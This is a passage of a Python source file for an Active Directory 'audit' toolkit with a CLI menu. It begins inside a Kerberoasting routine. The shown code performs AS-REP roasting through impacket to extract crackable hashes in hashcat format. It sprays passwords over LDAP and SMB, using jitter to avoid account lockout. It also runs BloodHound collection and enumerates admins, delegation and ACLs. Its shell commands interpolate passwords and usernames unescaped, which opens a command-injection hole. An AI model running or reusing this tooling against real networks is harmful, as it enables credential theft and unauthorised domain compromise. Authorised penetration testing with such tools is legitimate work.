spn_result = self.find_spn_accounts()
|
|
spn_count = spn_result.get('count', 0)
|
|
if spn_count > 0:
|
|
return {
|
|
'hashes': [],
|
|
'count': 0,
|
|
'spn_accounts': spn_count,
|
|
'message': (
|
|
f'Found {spn_count} SPN accounts but could not extract TGS hashes. '
|
|
'Install impacket: pip install impacket'
|
|
)
|
|
}
|
|
return {
|
|
'hashes': [],
|
|
'count': 0,
|
|
'spn_accounts': 0,
|
|
'message': 'No SPN accounts found or impacket not available'
|
|
}
|
|
|
|
self.results['kerberoast_hashes'] = hashes
|
|
self._save_results('kerberoast_hashes', hashes)
|
|
return {
|
|
'hashes': hashes,
|
|
'count': len(hashes),
|
|
'spn_accounts': len(hashes),
|
|
'message': f'Extracted {len(hashes)} TGS hash(es) in hashcat format'
|
|
}
|
|
|
|
def asrep_roast(self, dc_host, domain, userlist=None):
|
|
"""Find accounts without pre-auth and extract AS-REP hashes.
|
|
|
|
Uses impacket's GetNPUsers.py via subprocess.
|
|
"""
|
|
hashes = []
|
|
|
|
if userlist:
|
|
# Write userlist to temp file
|
|
tmp_file = self.data_dir / 'asrep_users.txt'
|
|
with open(tmp_file, 'w') as f:
|
|
for u in userlist:
|
|
f.write(u.strip() + '\n')
|
|
user_arg = f'-usersfile {tmp_file}'
|
|
else:
|
|
user_arg = ''
|
|
|
|
# Try GetNPUsers.py
|
|
for cmd_prefix in [
|
|
'GetNPUsers.py',
|
|
'python -m impacket.examples.GetNPUsers',
|
|
'impacket-GetNPUsers'
|
|
]:
|
|
cmd = f'{cmd_prefix} {domain}/ -dc-ip {dc_host} {user_arg} -format hashcat -outputfile -'
|
|
success, output = self._run_cmd(cmd, timeout=60)
|
|
if success and output:
|
|
for line in output.splitlines():
|
|
line = line.strip()
|
|
if line.startswith('$krb5asrep$'):
|
|
hashes.append(line)
|
|
if hashes:
|
|
break
|
|
|
|
if not hashes:
|
|
# Enumerate AS-REP vulnerable accounts via LDAP
|
|
asrep_result = self.find_asrep_accounts()
|
|
vuln_count = asrep_result.get('count', 0)
|
|
return {
|
|
'hashes': [],
|
|
'count': 0,
|
|
'vulnerable_accounts': vuln_count,
|
|
'accounts': asrep_result.get('accounts', []),
|
|
'message': (
|
|
f'Found {vuln_count} accounts without pre-auth but '
|
|
'could not extract AS-REP hashes. Install impacket.'
|
|
) if vuln_count > 0 else 'No accounts without pre-authentication found'
|
|
}
|
|
|
|
self.results['asrep_hashes'] = hashes
|
|
self._save_results('asrep_hashes', hashes)
|
|
return {
|
|
'hashes': hashes,
|
|
'count': len(hashes),
|
|
'vulnerable_accounts': len(hashes),
|
|
'message': f'Extracted {len(hashes)} AS-REP hash(es) in hashcat format'
|
|
}
|
|
|
|
def password_spray(self, userlist, password, dc_host, domain, protocol='ldap'):
|
|
"""Spray a single password against a list of users.
|
|
|
|
Implements delay and jitter between attempts to avoid account lockout.
|
|
Supports LDAP and SMB protocols.
|
|
"""
|
|
if not userlist or not password:
|
|
return {'error': 'User list and password required', 'results': []}
|
|
|
|
results = []
|
|
successes = []
|
|
failures = []
|
|
lockouts = []
|
|
delay_base = 1.0
|
|
jitter = 0.5
|
|
|
|
for i, user in enumerate(userlist):
|
|
user = user.strip()
|
|
if not user:
|
|
continue
|
|
|
|
entry = {'username': user, 'status': 'unknown', 'message': ''}
|
|
|
|
if protocol == 'ldap':
|
|
try:
|
|
port = 636 if self.use_ssl else 389
|
|
test_server = Server(dc_host, port=port, use_ssl=self.use_ssl,
|
|
connect_timeout=5) if HAS_LDAP3 else None
|
|
if test_server:
|
|
test_conn = Connection(
|
|
test_server,
|
|
user=f'{domain}\\{user}',
|
|
password=password,
|
|
authentication=NTLM,
|
|
auto_bind=True
|
|
)
|
|
test_conn.unbind()
|
|
entry['status'] = 'success'
|
|
entry['message'] = 'Authentication successful'
|
|
successes.append(user)
|
|
else:
|
|
entry['status'] = 'error'
|
|
entry['message'] = 'ldap3 not available'
|
|
except Exception as e:
|
|
err_msg = str(e).lower()
|
|
if 'locked' in err_msg or '775' in err_msg:
|
|
entry['status'] = 'lockout'
|
|
entry['message'] = 'Account locked out'
|
|
lockouts.append(user)
|
|
elif 'credential' in err_msg or 'invalid' in err_msg or '52e' in err_msg:
|
|
entry['status'] = 'failed'
|
|
entry['message'] = 'Invalid credentials'
|
|
failures.append(user)
|
|
elif 'disabled' in err_msg or '533' in err_msg:
|
|
entry['status'] = 'disabled'
|
|
entry['message'] = 'Account disabled'
|
|
failures.append(user)
|
|
elif 'expired' in err_msg or '532' in err_msg:
|
|
entry['status'] = 'expired'
|
|
entry['message'] = 'Password expired'
|
|
failures.append(user)
|
|
else:
|
|
entry['status'] = 'failed'
|
|
entry['message'] = str(e)[:100]
|
|
failures.append(user)
|
|
|
|
elif protocol == 'smb':
|
|
# Use smbclient or impacket's smbconnection
|
|
cmd = f'smbclient -L //{dc_host} -U {domain}\\\\{user}%{password} -c quit 2>&1'
|
|
success, output = self._run_cmd(cmd, timeout=10)
|
|
if success or 'Sharename' in output:
|
|
entry['status'] = 'success'
|
|
entry['message'] = 'SMB authentication successful'
|
|
successes.append(user)
|
|
elif 'LOCKED' in output.upper() or 'locked' in output.lower():
|
|
entry['status'] = 'lockout'
|
|
entry['message'] = 'Account locked out'
|
|
lockouts.append(user)
|
|
else:
|
|
entry['status'] = 'failed'
|
|
entry['message'] = 'Authentication failed'
|
|
failures.append(user)
|
|
|
|
results.append(entry)
|
|
|
|
# Delay between attempts with jitter
|
|
if i < len(userlist) - 1:
|
|
wait = delay_base + random.uniform(0, jitter)
|
|
time.sleep(wait)
|
|
|
|
# Stop if too many lockouts
|
|
if len(lockouts) >= 3:
|
|
remaining = [u.strip() for u in userlist[i+1:] if u.strip()]
|
|
for u in remaining:
|
|
results.append({
|
|
'username': u,
|
|
'status': 'skipped',
|
|
'message': 'Skipped — too many lockouts detected'
|
|
})
|
|
break
|
|
|
|
spray_result = {
|
|
'results': results,
|
|
'total': len(results),
|
|
'successes': successes,
|
|
'success_count': len(successes),
|
|
'failure_count': len(failures),
|
|
'lockout_count': len(lockouts),
|
|
'password_tested': password,
|
|
'protocol': protocol,
|
|
}
|
|
self.results['spray_results'] = spray_result
|
|
self._save_results('password_spray', spray_result)
|
|
return spray_result
|
|
|
|
def analyze_acls(self, target_dn=None):
|
|
"""Find dangerous ACL entries: GenericAll, WriteDACL, WriteOwner, etc."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'findings': []}
|
|
|
|
search_base = target_dn or self.domain_dn
|
|
# Search for objects with ntSecurityDescriptor
|
|
ldap_filter = '(objectClass=*)'
|
|
attrs = ['distinguishedName', 'nTSecurityDescriptor', 'objectClass', 'sAMAccountName']
|
|
|
|
# We need to request the SD control for ntSecurityDescriptor
|
|
findings = []
|
|
|
|
# Search high-value targets: users, groups, OUs, domain root
|
|
targets = [
|
|
('(&(objectCategory=group)(adminCount=1))', 'Admin Group'),
|
|
('(&(objectCategory=person)(adminCount=1))', 'Admin User'),
|
|
('(objectCategory=organizationalUnit)', 'OU'),
|
|
('(objectCategory=domainDNS)', 'Domain'),
|
|
]
|
|
|
|
for ldap_filter, obj_type in targets:
|
|
entries = self._ldap_search(
|
|
search_base=search_base,
|
|
search_filter=ldap_filter,
|
|
attributes=['distinguishedName', 'sAMAccountName', 'nTSecurityDescriptor']
|
|
)
|
|
|
|
for entry in entries:
|
|
sd_raw = entry.get('nTSecurityDescriptor')
|
|
obj_name = entry.get('sAMAccountName', entry.get('dn', ''))
|
|
|
|
# If we got the SD, try to parse DACL
|
|
if sd_raw:
|
|
# Binary SD parsing is complex; flag it for manual review
|
|
findings.append({
|
|
'target': obj_name,
|
|
'target_dn': entry.get('dn', ''),
|
|
'object_type': obj_type,
|
|
'has_sd': True,
|
|
'risk': 'Medium',
|
|
'permission': 'Security Descriptor present — manual ACL review recommended',
|
|
'principal': 'N/A',
|
|
})
|
|
else:
|
|
# Without SD, check for common misconfigurations via group membership
|
|
findings.append({
|
|
'target': obj_name,
|
|
'target_dn': entry.get('dn', ''),
|
|
'object_type': obj_type,
|
|
'has_sd': False,
|
|
'risk': 'Low',
|
|
'permission': 'Could not read security descriptor (insufficient privileges)',
|
|
'principal': 'N/A',
|
|
})
|
|
|
|
# Check for users who can DCSync (Replicating Directory Changes)
|
|
repl_filter = '(&(objectCategory=person)(objectClass=user)(adminCount=1))'
|
|
admin_entries = self._ldap_search(
|
|
search_filter=repl_filter,
|
|
attributes=['sAMAccountName', 'distinguishedName', 'memberOf']
|
|
)
|
|
for entry in admin_entries:
|
|
member_of = entry.get('memberOf', [])
|
|
if isinstance(member_of, str):
|
|
member_of = [member_of]
|
|
for group in member_of:
|
|
group_lower = group.lower()
|
|
if 'domain admins' in group_lower or 'enterprise admins' in group_lower:
|
|
findings.append({
|
|
'target': self.domain,
|
|
'target_dn': self.domain_dn,
|
|
'object_type': 'Domain',
|
|
'principal': entry.get('sAMAccountName', ''),
|
|
'permission': 'DCSync capable (Domain/Enterprise Admin)',
|
|
'risk': 'Critical',
|
|
'has_sd': True,
|
|
})
|
|
break
|
|
|
|
self.results['acl_findings'] = findings
|
|
self._save_results('acl_findings', findings)
|
|
return {'findings': findings, 'count': len(findings)}
|
|
|
|
def find_admin_accounts(self):
|
|
"""Enumerate Domain Admins, Enterprise Admins, Schema Admins, Account Operators."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'admins': []}
|
|
|
|
admin_groups = [
|
|
('Domain Admins', f'CN=Domain Admins,CN=Users,{self.domain_dn}'),
|
|
('Enterprise Admins', f'CN=Enterprise Admins,CN=Users,{self.domain_dn}'),
|
|
('Schema Admins', f'CN=Schema Admins,CN=Users,{self.domain_dn}'),
|
|
('Account Operators', f'CN=Account Operators,CN=Builtin,{self.domain_dn}'),
|
|
('Administrators', f'CN=Administrators,CN=Builtin,{self.domain_dn}'),
|
|
('Server Operators', f'CN=Server Operators,CN=Builtin,{self.domain_dn}'),
|
|
('Backup Operators', f'CN=Backup Operators,CN=Builtin,{self.domain_dn}'),
|
|
]
|
|
|
|
all_admins = []
|
|
for group_name, group_dn in admin_groups:
|
|
ldap_filter = f'(&(objectCategory=person)(objectClass=user)(memberOf={group_dn}))'
|
|
entries = self._ldap_search(
|
|
search_filter=ldap_filter,
|
|
attributes=['sAMAccountName', 'displayName', 'userAccountControl',
|
|
'lastLogon', 'pwdLastSet', 'adminCount']
|
|
)
|
|
members = []
|
|
for entry in entries:
|
|
uac = int(entry.get('userAccountControl', 0) or 0)
|
|
members.append({
|
|
'username': entry.get('sAMAccountName', ''),
|
|
'display_name': entry.get('displayName', ''),
|
|
'enabled': not bool(uac & 0x0002),
|
|
'last_logon': _ad_timestamp_to_str(entry.get('lastLogon', '0')),
|
|
'pwd_last_set': _ad_timestamp_to_str(entry.get('pwdLastSet', '0')),
|
|
})
|
|
|
|
all_admins.append({
|
|
'group': group_name,
|
|
'group_dn': group_dn,
|
|
'members': members,
|
|
'count': len(members),
|
|
})
|
|
|
|
self.results['admin_accounts'] = all_admins
|
|
self._save_results('admin_accounts', all_admins)
|
|
return {'admins': all_admins, 'total_groups': len(all_admins)}
|
|
|
|
def find_unconstrained_delegation(self):
|
|
"""Find servers with unconstrained delegation (TRUSTED_FOR_DELEGATION)."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'servers': []}
|
|
|
|
# 0x80000 = TRUSTED_FOR_DELEGATION, exclude DCs (0x2000)
|
|
ldap_filter = (
|
|
'(&(objectCategory=computer)'
|
|
'(userAccountControl:1.2.840.113556.1.4.803:=524288)'
|
|
'(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))'
|
|
)
|
|
attrs = ['sAMAccountName', 'dNSHostName', 'distinguishedName',
|
|
'operatingSystem', 'description']
|
|
|
|
entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
servers = []
|
|
for entry in entries:
|
|
servers.append({
|
|
'name': entry.get('sAMAccountName', '').rstrip('$'),
|
|
'dns_name': entry.get('dNSHostName', ''),
|
|
'dn': entry.get('dn', ''),
|
|
'os': entry.get('operatingSystem', ''),
|
|
'description': entry.get('description', ''),
|
|
'risk': 'High',
|
|
})
|
|
|
|
self.results['unconstrained_delegation'] = servers
|
|
return {'servers': servers, 'count': len(servers)}
|
|
|
|
def find_constrained_delegation(self):
|
|
"""Find constrained delegation configurations."""
|
|
if not self.is_connected():
|
|
return {'error': 'Not connected', 'servers': []}
|
|
|
|
ldap_filter = '(msDS-AllowedToDelegateTo=*)'
|
|
attrs = ['sAMAccountName', 'dNSHostName', 'distinguishedName',
|
|
'msDS-AllowedToDelegateTo', 'objectCategory', 'operatingSystem',
|
|
'userAccountControl']
|
|
|
|
entries = self._ldap_search(search_filter=ldap_filter, attributes=attrs)
|
|
servers = []
|
|
for entry in entries:
|
|
delegate_to = entry.get('msDS-AllowedToDelegateTo', [])
|
|
if isinstance(delegate_to, str):
|
|
delegate_to = [delegate_to]
|
|
elif delegate_to is None:
|
|
delegate_to = []
|
|
|
|
uac = int(entry.get('userAccountControl', 0) or 0)
|
|
protocol_transition = bool(uac & 0x1000000)
|
|
|
|
servers.append({
|
|
'name': entry.get('sAMAccountName', '').rstrip('$'),
|
|
'dns_name': entry.get('dNSHostName', ''),
|
|
'dn': entry.get('dn', ''),
|
|
'os': entry.get('operatingSystem', ''),
|
|
'allowed_to_delegate_to': delegate_to,
|
|
'protocol_transition': protocol_transition,
|
|
'risk': 'High' if protocol_transition else 'Medium',
|
|
})
|
|
|
|
self.results['constrained_delegation'] = servers
|
|
return {'servers': servers, 'count': len(servers)}
|
|
|
|
# ========== BLOODHOUND ==========
|
|
|
|
def bloodhound_collect(self, dc_host, domain, username, password):
|
|
"""Run BloodHound data collection.
|
|
|
|
Tries bloodhound-python (SharpHound equivalent) via subprocess,
|
|
falls back to manual LDAP-based collection.
|
|
"""
|
|
output_dir = self.data_dir / 'bloodhound'
|
|
output_dir.mkdir(parents=True, exist_ok=True)
|
|
ts = datetime.now().strftime('%Y%m%d_%H%M%S')
|
|
|
|
collection_stats = {
|
|
'users': 0, 'groups': 0, 'computers': 0,
|
|
'sessions': 0, 'domains': 0,
|
|
'files': [], 'method': '', 'timestamp': ts,
|
|
}
|
|
|
|
# Try bloodhound-python
|
|
for cmd_prefix in ['bloodhound-python', 'python -m bloodhound']:
|
|
cmd = (
|
|
f'{cmd_prefix} -u {username} -p {password} '
|
|
f'-d {domain} -dc {dc_host} -c All '
|
|
f'--zip -o {output_dir}'
|
|
)
|
|
success, output = self._run_cmd(cmd, timeout=300)
|
|
if success:
|
|
collection_stats['method'] = 'bloodhound-python'
|
|
# Count output files
|
|
for f in output_dir.glob('*.json'):
|
|
collection_stats['files'].append(str(f.name))
|
|
for f in output_dir.glob('*.zip'):
|
|
collection_stats['files'].append(str(f.name))
|
|
# Parse counts from output
|
|
for line in output.splitlines():
|
|
if 'users' in line.lower():
|
|
try:
|
|
collection_stats['users'] = int(''.join(c for c in line.split()[-1] if c.isdigit()) or 0)
|
|
except ValueError:
|
|
pass
|
|
if 'groups' in line.lower():
|
|
try:
|
|
collection_stats['groups'] = int(''.join(c for c in line.split()[-1] if c.isdigit()) or 0)
|
|
except ValueError:
|
|
pass
|
|
if 'computers' in line.lower():
|
|
try:
|
|
collection_stats['computers'] = int(''.join(c for c in line.split()[-1] if c.isdigit()) or 0)
|
|
except ValueError:
|
|
pass
|
|
|
|
self.results['bloodhound'] = collection_stats
|
|
self._save_results('bloodhound', collection_stats)
|
|
return {
|
|
'success': True,
|
|
'stats': collection_stats,
|
|
'message': f'BloodHound collection complete via {cmd_prefix}'
|
|
}
|
|
|
|
# Fallback: manual LDAP collection into BloodHound-compatible JSON
|
|
collection_stats['method'] = 'manual_ldap'
|
|
|
|
# Collect users
|
|
user_result = self.enumerate_users()
|
|
users_data = user_result.get('users', [])
|
|
collection_stats['users'] = len(users_data)
|
|
users_file = output_dir / f'users_{ts}.json'
|
|
with open(users_file, 'w') as f:
|
|
json.dump({'data': users_data, 'meta': {'type': 'users', 'count': len(users_data)}}, f, indent=2, default=str)
|
|
collection_stats['files'].append(users_file.name)
|
|
|
|
# Collect groups
|
|
group_result = self.enumerate_groups()
|
|
groups_data = group_result.get('groups', [])
|
|
collection_stats['groups'] = len(groups_data)
|
|
groups_file = output_dir / f'groups_{ts}.json'
|
|
with open(groups_file, 'w') as f:
|
|
json.dump({'data': groups_data, 'meta': {'type': 'groups', 'count': len(groups_data)}}, f, indent=2, default=str)
|
|
collection_stats['files'].append(groups_file.name)
|
|
|
|
# Collect computers
|
|
comp_result = self.enumerate_computers()
|
|
comps_data = comp_result.get('computers', [])
|
|
collection_stats['computers'] = len(comps_data)
|
|
comps_file = output_dir / f'computers_{ts}.json'
|
|
with open(comps_file, 'w') as f:
|
|
json.dump({'data': comps_data, 'meta': {'type': 'computers', 'count': len(comps_data)}}, f, indent=2, default=str)
|
|
collection_stats['files'].append(comps_file.name)
|
|
|
|
# Domain info
|
|
domain_info = {
|
|
'name': self.domain,
|
|
'dn': self.domain_dn,
|
|
'dcs': self.results.get('dcs', []),
|
|
'trusts': self.results.get('trusts', []),
|
|
}
|
|
collection_stats['domains'] = 1
|
|
domain_file = output_dir / f'domains_{ts}.json'
|
|
with open(domain_file, 'w') as f:
|
|
json.dump({'data': [domain_info], 'meta': {'type': 'domains', 'count': 1}}, f, indent=2, default=str)
|
|
collection_stats['files'].append(domain_file.name)
|
|
|
|
self.results['bloodhound'] = collection_stats
|
|
self._save_results('bloodhound', collection_stats)
|
|
return {
|
|
'success': True,
|
|
'stats': collection_stats,
|
|
'message': 'Manual LDAP collection complete (bloodhound-python not found — pip install bloodhound)'
|
|
}
|
|
|
|
# ========== EXPORT ==========
|
|
|
|
def export_results(self, fmt='json'):
|
|
"""Export all collected enumeration and attack results."""
|
|
ts = datetime.now().strftime('%Y%m%d_%H%M%S')
|
|
|
|
export_data = {
|
|
'metadata': {
|
|
'timestamp': ts,
|
|
'domain': self.domain,
|
|
'dc_host': self.dc_host,
|
|
'format': fmt,
|
|
},
|
|
'results': {}
|
|
}
|
|
|
|
for key, value in self.results.items():
|
|
if value: # Only include non-empty results
|
|
export_data['results'][key] = value
|
|
|
|
if fmt == 'json':
|
|
path = self.data_dir / f'ad_audit_export_{ts}.json'
|
|
with open(path, 'w') as f:
|
|
json.dump(export_data, f, indent=2, default=str)
|
|
return {'success': True, 'path': str(path), 'format': 'json'}
|
|
|
|
elif fmt == 'csv':
|
|
import csv
|
|
files = []
|
|
for key, data in export_data['results'].items():
|
|
if isinstance(data, list) and data:
|
|
path = self.data_dir / f'ad_audit_{key}_{ts}.csv'
|
|
with open(path, 'w', newline='') as f:
|
|
if isinstance(data[0], dict):
|
|
writer = csv.DictWriter(f, fieldnames=data[0].keys())
|
|
writer.writeheader()
|
|
for row in data:
|
|
# Flatten lists to strings
|
|
flat = {}
|
|
for k, v in row.items():
|
|
flat[k] = '; '.join(v) if isinstance(v, list) else v
|
|
writer.writerow(flat)
|
|
else:
|
|
writer = csv.writer(f)
|
|
for item in data:
|
|
writer.writerow([item])
|
|
files.append(str(path))
|
|
return {'success': True, 'files': files, 'format': 'csv'}
|
|
|
|
return {'success': False, 'message': f'Unsupported format: {fmt}'}
|
|
|
|
|
|
# ========== SINGLETON ==========
|
|
|
|
_instance = None
|
|
|
|
|
|
def get_ad_audit():
|
|
"""Get or create singleton ADToolkit instance."""
|
|
global _instance
|
|
if _instance is None:
|
|
_instance = ADToolkit()
|
|
return _instance
|
|
|
|
|
|
# ========== CLI MENU ==========
|
|
|
|
def run():
|
|
"""CLI menu for Active Directory Audit module."""
|
|
clear_screen()
|
|
display_banner()
|
|
ad = get_ad_audit()
|
|
|
|
while True:
|
|
print(f"\n{Colors.BOLD}{Colors.RED}Active Directory Audit{Colors.RESET}")
|
|
print(f"{Colors.DIM}LDAP enumeration, Kerberoasting, password spray, ACL analysis{Colors.RESET}\n")
|
|
|
|
# Connection status
|
|
if ad.is_connected():
|
|
print(f" {Colors.GREEN}Connected:{Colors.RESET} {ad.dc_host} ({ad.domain}) as {ad.username or 'anonymous'}")
|
|
else:
|
|
print(f" {Colors.YELLOW}Not connected{Colors.RESET}")
|
|
|
|
print(f"\n {Colors.CYAN}1{Colors.RESET} - Connect to DC")
|
|
print(f" {Colors.CYAN}2{Colors.RESET} - Enumerate Users")
|
|
print(f" {Colors.CYAN}3{Colors.RESET} - Enumerate Groups")
|
|
print(f" {Colors.CYAN}4{Colors.RESET} - Kerberoast")
|
|
print(f" {Colors.CYAN}5{Colors.RESET} - AS-REP Roast")
|
|
print(f" {Colors.CYAN}6{Colors.RESET} - Password Spray")
|
|
print(f" {Colors.CYAN}7{Colors.RESET} - ACL Analysis")
|
|
print(f" {Colors.CYAN}8{Colors.RESET} - BloodHound Collect")
|
|
print(f" {Colors.CYAN}9{Colors.RESET} - Enumerate Computers")
|
|
print(f" {Colors.CYAN}10{Colors.RESET} - Find Admin Accounts")
|
|
print(f" {Colors.CYAN}11{Colors.RESET} - Find Delegation")
|
|
print(f" {Colors.CYAN}12{Colors.RESET} - Export Results")
|
|
print(f" {Colors.CYAN}0{Colors.RESET} - Back\n")
|
|
|
|
choice = input(f"{Colors.WHITE}Select> {Colors.RESET}").strip()
|
|
|
|
if choice == '0':
|
|
if ad.is_connected():
|
|
ad.disconnect()
|
|
break
|
|
|
|
elif choice == '1':
|
|
print(f"\n{Colors.BOLD}Connect to Domain Controller{Colors.RESET}")
|
|
dc_host = input(f" DC Host/IP: ").strip()
|
|
domain = input(f" Domain (e.g. corp.local): ").strip()
|
|
username = input(f" Username (blank=anonymous): ").strip() or None
|
|
password = None
|
|
if username:
|
|
import getpass
|
|
password = getpass.getpass(f" Password: ") or None
|
|
ssl = input(f" Use SSL/LDAPS? (y/N): ").strip().lower() == 'y'
|
|
|
|
if dc_host and domain:
|
|
result = ad.connect(dc_host, domain, username, password, ssl)
|
|
status = 'success' if result['success'] else 'error'
|
|
ad.print_status(result['message'], status)
|
|
else:
|
|
ad.print_status('DC host and domain are required', 'error')
|
|
|
|
elif choice == '2':
|
|
if not ad.is_connected():
|
|
ad.print_status('Not connected — connect first', 'error')
|
|
continue
|
|
ad.print_status('Enumerating users...', 'info')
|
|
result = ad.enumerate_users()
|
|
count = result.get('count', 0)
|
|
ad.print_status(f'Found {count} users', 'success')
|
|
for u in result.get('users', [])[:20]:
|
|
flags = ', '.join(u.get('uac_flags', [])[:3])
|
|
status_icon = '+' if u.get('enabled') else '-'
|
|
print(f" [{status_icon}] {u['username']:<25} {u.get('display_name', ''):<25} {flags}")
|
|
if count > 20:
|
|
print(f" ... and {count - 20} more")
|
|
|
|
elif choice == '3':
|
|
if not ad.is_connected():
|
|
ad.print_status('Not connected — connect first', 'error')
|
|
continue
|
|
ad.print_status('Enumerating groups...', 'info')
|
|
result = ad.enumerate_groups()
|
|
count = result.get('count', 0)
|
|
ad.print_status(f'Found {count} groups', 'success')
|
|
for g in result.get('groups', [])[:20]:
|
|
print(f" {g['name']:<35} Members: {g['member_count']:<5} {g['scope']}")
|
|
if count > 20:
|
|
print(f" ... and {count - 20} more")
|
|
|
|
elif choice == '4':
|
|
print(f"\n{Colors.BOLD}Kerberoast{Colors.RESET}")
|
|
dc = input(f" DC Host/IP [{ad.dc_host or ''}]: ").strip() or ad.dc_host
|
|
dom = input(f" Domain [{ad.domain or ''}]: ").strip() or ad.domain
|
|
user = input(f" Username [{ad.username or ''}]: ").strip() or ad.username
|
|
import getpass
|
|
pwd = getpass.getpass(f" Password: ") or ad.password
|
|
if dc and dom and user and pwd:
|
|
ad.print_status('Running Kerberoast...', 'info')
|
|
result = ad.kerberoast(dc, dom, user, pwd)
|
|
ad.print_status(result.get('message', ''), 'success' if result.get('count', 0) > 0 else 'warning')
|
|
for h in result.get('hashes', []):
|
|
print(f" {h[:80]}...")
|
|
else:
|
|
ad.print_status('All fields required', 'error')
|
|
|
|
elif choice == '5':
|
|
print(f"\n{Colors.BOLD}AS-REP Roast{Colors.RESET}")
|
|
dc = input(f" DC Host/IP [{ad.dc_host or ''}]: ").strip() or ad.dc_host
|
|
dom = input(f" Domain [{ad.domain or ''}]: ").strip() or ad.domain
|
|
ul = input(f" User list (comma-separated, blank=auto): ").strip()
|
|
userlist = [u.strip() for u in ul.split(',')] if ul else None
|
|
if dc and dom:
|
|
ad.print_status('Running AS-REP Roast...', 'info')
|
|
result = ad.asrep_roast(dc, dom, userlist)
|
|
ad.print_status(result.get('message', ''), 'success' if result.get('count', 0) > 0 else 'warning')
|
|
for h in result.get('hashes', []):
|
|
print(f" {h[:80]}...")
|
|
else:
|
|
ad.print_status('DC and domain required', 'error')
|
|
|
|
elif choice == '6':
|
|
print(f"\n{Colors.BOLD}Password Spray{Colors.RESET}")
|
|
dc = input(f" DC Host/IP [{ad.dc_host or ''}]: ").strip() or ad.dc_host
|
|
dom = input(f" Domain [{ad.domain or ''}]: ").strip() or ad.domain
|
|
ul = input(f" User list (comma-separated): ").strip()
|
|
import getpass
|
|
pwd = getpass.getpass(f" Password to spray: ")
|
|
proto = input(f" Protocol (ldap/smb) [ldap]: ").strip() or 'ldap'
|
|
if dc and dom and ul and pwd:
|
|
users = [u.strip() for u in ul.split(',')]
|
|
ad.print_status(f'Spraying {len(users)} users with protocol={proto}...', 'info')
|
|
result = ad.password_spray(users, pwd, dc, dom, proto)
|
|
ad.print_status(
|
|
f'Done: {result["success_count"]} success, '
|
|
f'{result["failure_count"]} failed, '
|
|
f'{result["lockout_count"]} lockouts',
|
|
'success'
|
|
)
|
|
for r in result.get('results', []):
|
|
color = Colors.GREEN if r['status'] == 'success' else (Colors.RED if r['status'] == 'lockout' else Colors.DIM)
|
|
print(f" {color}{r['username']:<25} {r['status']:<12} {r['message']}{Colors.RESET}")
|
|
else:
|
|
ad.print_status('All fields required', 'error')
|
|
|
|
elif choice == '7':
|
|
if not ad.is_connected():
|
|
ad.print_status('Not connected — connect first', 'error')
|
|
continue
|
|
ad.print_status('Analyzing ACLs...', 'info')
|
|
result = ad.analyze_acls()
|
|
count = result.get('count', 0)
|
|
ad.print_status(f'Found {count} ACL findings', 'success')
|
|
for f in result.get('findings', []):
|
|
risk_color = Colors.RED if f['risk'] == 'Critical' else (Colors.YELLOW if f['risk'] == 'High' else Colors.DIM)
|
|
print(f" {risk_color}[{f['risk']}]{Colors.RESET} {f['target']}: {f['permission']}")
|
|
|
|
elif choice == '8':
|
|
print(f"\n{Colors.BOLD}BloodHound Collection{Colors.RESET}")
|
|
dc = input(f" DC Host/IP [{ad.dc_host or ''}]: ").strip() or ad.dc_host
|
|
dom = input(f" Domain [{ad.domain or ''}]: ").strip() or ad.domain
|
|
user = input(f" Username [{ad.username or ''}]: ").strip() or ad.username
|
|
import getpass
|
|
pwd = getpass.getpass(f" Password: ") or ad.password
|
|
if dc and dom and user and pwd:
|
|
ad.print_status('Running BloodHound collection (this may take a while)...', 'info')
|
|
result = ad.bloodhound_collect(dc, dom, user, pwd)
|
|
ad.print_status(result.get('message', ''), 'success' if result.get('success') else 'error')
|
|
stats = result.get('stats', {})
|
|
print(f" Users: {stats.get('users', 0)} Groups: {stats.get('groups', 0)} Computers: {stats.get('computers', 0)}")
|
|
print(f" Files: {', '.join(stats.get('files', []))}")
|
|
else:
|
|
ad.print_status('All fields required', 'error')
|
|
|
|
elif choice == '9':
|
|
if not ad.is_connected():
|
|
ad.print_status('Not connected — connect first', 'error')
|
|
continue
|
|
ad.print_status('Enumerating computers...', 'info')
|
|
result = ad.enumerate_computers()
|
|
count = result.get('count', 0)
|
|
ad.print_status(f'Found {count} computers', 'success')
|
|
for c in result.get('computers', [])[:20]:
|
|
deleg = ' [UNCONSTRAINED DELEG]' if c.get('trusted_for_delegation') else ''
|
|
print(f" {c['name']:<25} {c.get('os', ''):<30} {c.get('dns_name', '')}{deleg}")
|
|
|
|
elif choice == '10':
|
|
if not ad.is_connected():
|
|
ad.print_status('Not connected — connect first', 'error')
|
|
continue
|
|
ad.print_status('Finding admin accounts...', 'info')
|
|
result = ad.find_admin_accounts()
|
|
for grp in result.get('admins', []):
|
|
print(f"\n {Colors.BOLD}{grp['group']}{Colors.RESET} ({grp['count']} members)")
|
|
for m in grp.get('members', []):
|
|
status_icon = Colors.GREEN + '+' if m['enabled'] else Colors.RED + '-'
|
|
print(f" [{status_icon}{Colors.RESET}] {m['username']:<25} {m.get('display_name', '')}")
|
|
|
|
elif choice == '11':
|
|
if not ad.is_connected():
|
|
ad.print_status('Not connected — connect first', 'error')
|
|
continue
|
|
ad.print_status('Finding delegation configurations...', 'info')
|
|
uc = ad.find_unconstrained_delegation()
|
|
cc = ad.find_constrained_delegation()
|
|
print(f"\n {Colors.BOLD}Unconstrained Delegation:{Colors.RESET} {uc.get('count', 0)} servers")
|
|
for s in uc.get('servers', []):
|
|
print(f" {Colors.RED}[HIGH]{Colors.RESET} {s['name']} ({s.get('os', '')})")
|
|
print(f"\n {Colors.BOLD}Constrained Delegation:{Colors.RESET} {cc.get('count', 0)} servers")
|
|
for s in cc.get('servers', []):
|
|
print(f" [{s['risk']}] {s['name']} -> {', '.join(s.get('allowed_to_delegate_to', []))}")
|
|
|
|
elif choice == '12':
|
|
fmt = input(f" Format (json/csv) [json]: ").strip() or 'json'
|
|
result = ad.export_results(fmt)
|
|
if result.get('success'):
|
|
ad.print_status(f'Exported to: {result.get("path", "") or ", ".join(result.get("files", []))}', 'success')
|
|
else:
|
|
ad.print_status(result.get('message', 'Export failed'), 'error')
|
|
|
|
else:
|
|
ad.print_status('Invalid selection', 'warning')
|
|
|
|
input(f"\n{Colors.DIM}Press Enter to continue...{Colors.RESET}")
|